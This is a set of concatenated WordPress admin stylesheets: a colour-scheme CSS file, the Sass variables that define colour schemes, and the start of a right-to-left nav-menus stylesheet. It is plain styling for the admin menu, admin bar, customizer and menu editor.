#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #413256;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #413256;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #cbc5d3;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #cbc5d3;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #a3b745;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #a3b745;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #a3b745;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #d46f15;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #413256;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #ece6f6;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #a3b745;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #523f6d;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #ece6f6;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #a3b745;
  background: #413256;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #a3b745;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #a3b745;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #413256;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #64537c;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #cbc5d3;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #ece6f6;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #a3b745;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #a3b745;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #ece6f6;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #ece6f6;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #634c84;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #d46f15;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #bf6413;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #634c84;
  background-color: #634c84;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #a3b745;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #cbc5d3;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #a3b745;
  border-color: #93a43e;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #a3b745;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #a3b745;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #a3b745;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #a3b745;
}

.attachment.details .check {
  background-color: #a3b745;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #a3b745;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #a3b745;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #a3b745;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #a3b745;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #523f6d;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #523f6d;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #a3b745;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #a3b745;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #b6c669, 0 0 2px 1px #a3b745;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #ece6f6;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #a3b745;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #413256;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #ece6f6;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #a3b745;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #a3b745;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #a3b745;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #a3b745;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #b6c669, 0 0 2px 1px #a3b745;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #a3b745;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #a3b745;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #a3b745;
  border-style: solid;
  box-shadow: 0 0 0 1px #a3b745;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #a3b745;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #a3b745;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #a3b745;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #b6c669, 0 0 2px 1px #a3b745;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #a3b745;
  color: #0073aa;
}// assign default value to all undefined variables

$scheme-name: "default" !default;

// core variables

$text-color: #fff !default;
$base-color: #23282d !default;
$icon-color: hsl( hue( $base-color ), 7%, 95% ) !default;
$highlight-color: #0073aa !default;
$notification-color: #d54e21 !default;


// global

$body-background: #f1f1f1 !default;

$link: #0073aa !default;
$link-focus: lighten( $link, 10% ) !default;

$button-color: $highlight-color !default;
$button-text-color: $text-color !default;

$form-checked: #7e8993 !default;

// admin menu & admin-bar

$menu-text: $text-color !default;
$menu-icon: $icon-color !default;
$menu-background: $base-color !default;

$menu-highlight-text: $text-color !default;
$menu-highlight-icon: $text-color !default;
$menu-highlight-background: $highlight-color !default;

$menu-current-text: $menu-highlight-text !default;
$menu-current-icon: $menu-highlight-icon !default;
$menu-current-background: $menu-highlight-background !default;

$menu-submenu-text: mix( $base-color, $text-color, 30% ) !default;
$menu-submenu-background: darken( $base-color, 7% ) !default;
$menu-submenu-background-alt: desaturate( lighten( $menu-background, 7% ), 7% ) !default;

$menu-submenu-focus-text: $highlight-color !default;
$menu-submenu-current-text: $text-color !default;

$menu-bubble-text: $text-color !default;
$menu-bubble-background: $notification-color !default;
$menu-bubble-current-text: $text-color !default;
$menu-bubble-current-background: $menu-submenu-background !default;

$menu-collapse-text: $menu-icon !default;
$menu-collapse-icon: $menu-icon !default;
$menu-collapse-focus-text: $text-color !default;
$menu-collapse-focus-icon: $menu-highlight-icon !default;

$adminbar-avatar-frame: lighten( $menu-background, 7% ) !default;
$adminbar-input-background: lighten( $menu-background, 7% ) !default;

$adminbar-recovery-exit-text: $menu-bubble-text !default;
$adminbar-recovery-exit-background: $menu-bubble-background !default;
$adminbar-recovery-exit-background-alt: mix(black, $adminbar-recovery-exit-background, 10%) !default;

$menu-customizer-text: mix( $base-color, $text-color, 40% ) !default;

// Dashboard Colors

$custom-welcome-panel: "true" !default;
$dashboard-accent-1: $menu-submenu-background !default;
$dashboard-accent-2: $menu-background !default;
$dashboard-icon-background: $dashboard-accent-2 !default;

$low-contrast-theme: "false" !default;
/*! This file is auto-generated */
/* nav-menu */

/* @todo: determine if this is truly for nav menus only */
.no-js #message {
	display: block;
}

ul.add-menu-item-tabs li {
	padding: 3px 8px 4px 5px;
}

.accordion-section ul.category-tabs,
.accordion-section ul.add-menu-item-tabs,
.accordion-section ul.wp-tab-bar {
	margin: 0;
}

.accordion-section .categorychecklist {
	margin: 13px 0;
}

#nav-menu-meta .accordion-section-content {
	padding: 18px 13px;
}

#nav-menu-meta .button-controls {
	margin-bottom: 0;
}

.has-no-menu-item .button-controls {
	display: none;
}

#nav-menus-frame {
	margin-right: 300px;
	margin-top: 23px;
}

#wpbody-content #menu-settings-column {
	display: inline;
	width: 281px;
	margin-right: -300px;
	clear: both;
	float: right;
	padding-top: 0;
}

#menu-settings-column .inside {
	clear: both;
	margin: 10px 0 0;
}

.metabox-holder-disabled .postbox,
.metabox-holder-disabled .accordion-section-content,
.metabox-holder-disabled .accordion-section-title {
	opacity: 0.5;
	filter: alpha(opacity=50);
}

.metabox-holder-disabled .button-controls .select-all {
	display: none;
}

#wpbody {
	position: relative;
}

.is-submenu {
	color: #50575e; /* #fafafa background */
	font-style: italic;
	font-weight: 400;
	margin-right: 4px;
}

.manage-menus {
	margin-top: 23px;
	padding: 10px;
	overflow: hidden;
	background: #fff;
}

.manage-menus .selected-menu,
.manage-menus select,
.manage-menus .submit-btn,
.nav-menus-php .add-new-menu-action {
	display: inline-block;
	margin-left: 3px;
	vertical-align: middle;
}

.manage-menus select,
.menu-location-menus select {
	max-width: 100%;
}

.menu-edit #post-body-content h3 {
	margin: 1em 0 10px;
}

#nav-menu-bulk-actions-top {
	margin: 1em 0;
}

#nav-menu-bulk-actions-bottom {
	margin: 1em 0;
	margin: calc( 1em + 9px ) 0;
}

.bulk-actions input.button {
	margin-left: 12px;
}

.bulk-select-button {
	position: relative;
	display: inline-block;
	padding: 0 10px;
	font-size: 13px;
	line-height: 2.15384615;
	height: auto;
	min-height: 30px;
	background: #f6f7f7;
	vertical-align: top;
	border: 1px solid #dcdcde;
	margin: 0;
	cursor: pointer;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
}

.bulk-selection .bulk-select-button {
	color: #2271b1;
	border-color: #2271b1;
	background: #f6f7f7;
	vertical-align: top;
}

#pending-menu-items-to-delete {
	display: none;
}

.bulk-selection #pending-menu-items-to-delete {
	display: block;
	margin-top: 1em;
}

#pending-menu-items-to-delete p {
	margin-bottom: 0;
}

#pending-menu-items-to-delete ul {
	margin-top: 0;
	list-style: none;
}

#pending-menu-items-to-delete ul li {
	display: inline;
}

input.bulk-select-switcher + .bulk-select-button-label {
	vertical-align: inherit;
}

label.bulk-select-button:hover,
label.bulk-select-button:active,
label.bulk-select-button:focus-within {
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

input.bulk-select-switcher:focus + .bulk-select-button-label {
	color: #0a4b78;
}

.bulk-actions input.menu-items-delete {
	-webkit-appearance: none;
	appearance: none;
	font-size: inherit;
	border: 0;
	line-height: 2.1em;
	background: none;
	cursor: pointer;
	text-decoration: underline;
	color: #b32d2e;
}

.bulk-actions input.menu-items-delete:hover {
	color: #b32d2e;
	border: none;
}

.bulk-actions input.menu-items-delete.disabled {
	display: none;
}

.menu-settings {
	border-top: 1px solid #f0f0f1;
	margin-top: 2em;
}

.menu-settings-group {
	margin: 0 0 10px;
	overflow: hidden;
	padding-right: 20%;
}

.menu-settings-group:last-of-type {
	margin-bottom: 0;
}

.menu-settings-input {
	float: right;
	margin: 0;
	width: 100%;
}

.menu-settings-group-name {
	float: right;
	clear: both;
	width: 25%;
	padding: 3px 0 0;
	margin-right: -25%; /* 20 container left padding x ( 100 container % width / 80 this % width ) */
}

.menu-settings label {
	vertical-align: baseline;
}

.menu-edit .checkbox-input {
	margin-top: 4px;
}

.theme-location-set {
	color: #646970;
	font-size: 11px;
}

/* Menu Container */

/* @todo: responsive view. */
#menu-management-liquid {
	float: right;
	min-width: 100%;
	margin-top: 3px;
}

/* @todo: responsive view. */
#menu-management {
	position: relative;
	margin-left: 20px;
	margin-top: -3px;
	width: 100%;
}

#menu-management .menu-edit {
	margin-bottom: 20px;
}

.nav-menus-php #post-body {
	padding: 0 10px;
	border-top: 1px solid #fff;
	border-bottom: 1px solid #dcdcde;
	background: #fff;
}

#nav-menu-header,
#nav-menu-footer {
	padding: 0 10px;
	background: #f6f7f7;
}

#nav-menu-header {
	border-bottom: 1px solid #dcdcde;
	margin-bottom: 0;
}

#nav-menu-header .menu-name-label {
	display: inline-block;
	vertical-align: middle;
	margin-left: 7px;
}

.nav-menus-php #post-body div.updated,
.nav-menus-php #post-body div.error {
	margin: 0;
}

.nav-menus-php #post-body-content {
	position: relative;
	float: none;
}

.nav-menus-php #post-body-content .post-body-plain {
	margin-bottom: 0;
}

#menu-management .menu-add-new abbr {
	font-weight: 600;
}

#select-nav-menu-container {
	text-align: left;
	padding: 0 10px 3px;
	margin-bottom: 5px;
}

#select-nav-menu {
	width: 100px;
	display: inline;
}

#menu-name-label {
	margin-top: -2px;
}

.widefat .menu-locations .menu-location-title {
	padding: 13px 10px 0;
}

.menu-location-title label {
	font-weight: 600;
}

.menu-location-menus select {
	float: right;
}

#locations-nav-menu-wrapper {
	padding: 5px 0;
}

.locations-nav-menu-select select {
	float: right;
	width: 160px;
	margin-left: 5px;
}

.locations-row-links {
	float: right;
	margin: 6px 6px 0 0;
}

.locations-edit-menu-link,
.locations-add-menu-link {
	margin: 0 3px;
}

.locations-edit-menu-link {
	padding-left: 3px;
	border-left: 1px solid #c3c4c7;
}

#menu-management .inside {
	padding: 0 10px;
}

/* Add Menu Item Boxes */
.postbox .howto input,
.customlinkdiv .menu-item-textbox {
	width: 180px;
	float: left;
}

.accordion-container .outer-border {
	margin: 0;
}

.customlinkdiv p {
	margin-top: 0
}

#nav-menu-theme-locations .howto select {
	width: 100%;
}

#nav-menu-theme-locations .button-controls {
	text-align: left;
}

.add-menu-item-view-all {
	height: 400px;
}

/* Button Primary Actions */
#menu-container .submit {
	margin: 0 0 10px;
	padding: 0;
}

/* @todo: is this actually used? */
#cancel-save {
	text-decoration: underline;
	font-size: 12px;
	margin-right: 20px;
	margin-top: 5px;
}

.button.right, .button-secondary.right, .button-primary.right {
	float: left;
}

/* Button Secondary Actions */
.list-controls {
	float: right;
	margin-top: 5px;
}

.add-to-menu {
	float: left;
}

.button-controls {
	clear: both;
	margin: 10px 0;
}

.show-all,
.hide-all {
	cursor: pointer;
}

.hide-all {
	display: none;
}

/* Create Menu */
#menu-name {
	width: 270px;
	vertical-align: middle;
}

#manage-menu .inside {
	padding: 0;
}

/* Custom Links */
#available-links dt {
	display: block;
}

#add-custom-link .howto {
	font-size: 12px;
}

#add-custom-link label span {
	display: block;
	float: right;
	margin-top: 5px;
	padding-left: 5px;
}

.menu-item-textbox {
	width: 180px;
}

.customlinkdiv label,
.nav-menus-php .howto span {
	float: right;
	margin-top: 6px;
}

/* Menu item types */
.quick-search {
	width: 190px;
}

.quick-search-wrap .spinner {
	float: none;
	margin: -3px 0 0 -10px;
}

.nav-menus-php .list-wrap {
	display: none;
	clear: both;
	margin-bottom: 10px;
}

.nav-menus-php .postbox p.submit {
	margin-bottom: 0;
}

/* Listings */
.nav-menus-php .list li {
	display: none;
	margin: 0 0 5px;
}

.nav-menus-php .list li .menu-item-title {
	cursor: pointer;
	display: block;
}

.nav-menus-php .list li .menu-item-title input {
	margin-left: 3px;
	margin-top: -3px;
}

.menu-item-title input[type=checkbox] {
	display: inline-block;
	margin-top: -4px;
}

.menu-item-title .post-state {
	font-weight: 600;
}

/* Nav Menu */
#menu-container .inside {
	padding-bottom: 10px;
}

.menu {
	padding-top: 1em;
}

#menu-to-edit {
	margin: 0;
	padding: 0.1em 0;
}

.menu ul {
	width: 100%;
}

.menu li {
	margin-bottom: 0;
	position: relative;
}

.menu-item-bar {
	clear: both;
	line-height: 1.5;
	position: relative;
	margin: 9px 0 0;
}

.menu-item-bar .menu-item-handle {
	border: 1px solid #dcdcde;
	position: relative;
	padding: 10px 15px;
	height: auto;
	min-height: 20px;
	max-width: 382px;
	line-height: 2.30769230;
	overflow: hidden;
	word-wrap: break-word;
}

.menu-item-bar .menu-item-handle:hover {
	border-color: #8c8f94;
}

#menu-to-edit .menu-item-invalid .menu-item-handle {
	background: #fcf0f1;
	border-color: #d63638;
}

.no-js .menu-item-edit-active .item-edit {
	display: none;
}

.js .menu-item-handle {
	cursor: move;
}

.menu li.deleting .menu-item-handle {
	background-image: none;
	background-color: #f86368;
}

.menu-item-handle .item-title {
	font-size: 13px;
	font-weight: 600;
	line-height: 1.53846153;
	display: block;
	/* @todo: responsive view. */
	margin-left: 13em;
}

.menu-item-handle .menu-item-checkbox {
	display: none;
}

.bulk-selection .menu-item-handle .menu-item-checkbox {
	display: inline-block;
	margin-left: 6px;
}

.menu-item-handle .menu-item-title.no-title {
	color: #646970;
}

/* Sortables */
li.menu-item.ui-sortable-helper .menu-item-bar {
	margin-top: 0;
}

li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar {
	margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */
}

.menu .sortable-placeholder {
	height: 35px;
	width: 410px;
	margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */
}

/* Hide the transport list when it's empty */
.menu-item .menu-item-transport:empty {
	display: none;
}

/* WARNING: The factor of 30px is hardcoded into the nav-menus JavaScript. */
.menu-item-depth-0 { margin-right: 0; }
.menu-item-depth-1 { margin-right: 30px; }
.menu-item-depth-2 { margin-right: 60px; }
.menu-item-depth-3 { margin-right: 90px; }
.menu-item-depth-4 { margin-right: 120px; }
.menu-item-depth-5 { margin-right: 150px; }
.menu-item-depth-6 { margin-right: 180px; }
.menu-item-depth-7 { margin-right: 210px; }
.menu-item-depth-8 { margin-right: 240px; }
.menu-item-depth-9 { margin-right: 270px; }
.menu-item-depth-10 { margin-right: 300px; }
.menu-item-depth-11 { margin-right: 330px; }

.menu-item-depth-0 .menu-item-transport { margin-right: 0; }
.menu-item-depth-1 .menu-item-transport { margin-right: -30px; }
.menu-item-depth-2 .menu-item-transport { margin-right: -60px; }
.menu-item-depth-3 .menu-item-transport { margin-right: -90px; }
.menu-item-depth-4 .menu-item-transport { margin-right: -120px; }
.menu-item-depth-5 .menu-item-transport { margin-right: -150px; }
.menu-item-depth-6 .menu-item-transport { margin-right: -180px; }
.menu-item-depth-7 .menu-item-transport { margin-right: -210px; }
.menu-item-depth-8 .menu-item-transport { margin-right: -240px; }
.menu-item-depth-9 .menu-item-transport { margin-right: -270px; }
.menu-item-depth-10 .menu-item-transport { margin-right: -300px; }
.menu-item-depth-11 .menu-item-transport { margin-right: -330px; }

body.menu-max-depth-0 { min-width: 950px !important; }
body.menu-max-depth-1 { min-width: 980px !important; }
body.menu-max-depth-2 { min-width: 1010px !important; }
body.menu-max-depth-3 { min-width: 1040px !important; }
body.menu-max-depth-4 { min-width: 1070px !important; }
body.menu-max-depth-5 { min-width: 1100px !important; }
body.menu-max-depth-6 { min-width: 1130px !important; }
body.menu-max-depth-7 { min-width: 1160px !important; }
body.menu-max-depth-8 { min-width: 1190px !important; }
body.menu-max-depth-9 { min-width: 1220px !important; }
body.menu-max-depth-10 { min-width: 1250px !important; }
body.menu-max-depth-11 { min-width: 1280px !important; }

/* Menu item controls */
.item-type {
	display: inline-block;
	padding: 12px 16px;
	color: #646970;
	font-size: 12px;
	line-height: 1.5;
}

.item-controls {
	font-size: 12px;
	position: absolute;
	left: 20px;
	top: -1px;
}

.item-controls a {
	text-decoration: none;
}

.item-controls a:hover {
	cursor: pointer;
}

.item-controls .item-order {
	padding-left: 10px;
}

.nav-menus-php .item-edit {
	position: absolute;
	left: -20px;
	top: 0;
	display: block;
	width: 30px;
	height: 40px;
	outline: none;
}

.no-js.nav-menus-php .item-edit {
	position: static;
	float: left;
	width: auto;
	height: auto;
	margin: 12px 0 12px -10px;
	padding: 0;
	color: #2271b1;
	text-decoration: underline;
	font-size: 12px;
	line-height: 1.5;
}

.no-js.nav-menus-php .item-edit .screen-reader-text {
	position: static;
	-webkit-clip-path: none;
	clip-path: none;
	width: auto;
	height: auto;
	margin: 0;
}

.nav-menus-php .item-edit:before {
	margin-top: 10px;
	margin-right: 4px;
	width: 20px;
	border-radius: 50%;
	text-indent: -1px; /* account for the dashicon alignment */
}

.no-js.nav-menus-php .item-edit:before {
	display: none;
}

.rtl .nav-menus-php .item-edit:before {
	text-indent: 1px; /* account for the dashicon alignment */
}

.js.nav-menus-php .item-edit:focus {
	box-shadow: none;
}

.nav-menus-php .item-edit:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/* Menu editing */
.menu-instructions-inactive {
	display: none;
}

.menu-item-settings {
	display: block;
	max-width: 392px;
	padding: 10px;
	position: relative;
	z-index: 10; /* Keep .item-title's shadow from appearing on top of .menu-item-settings */
	border: 1px solid #c3c4c7;
	border-top: none;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
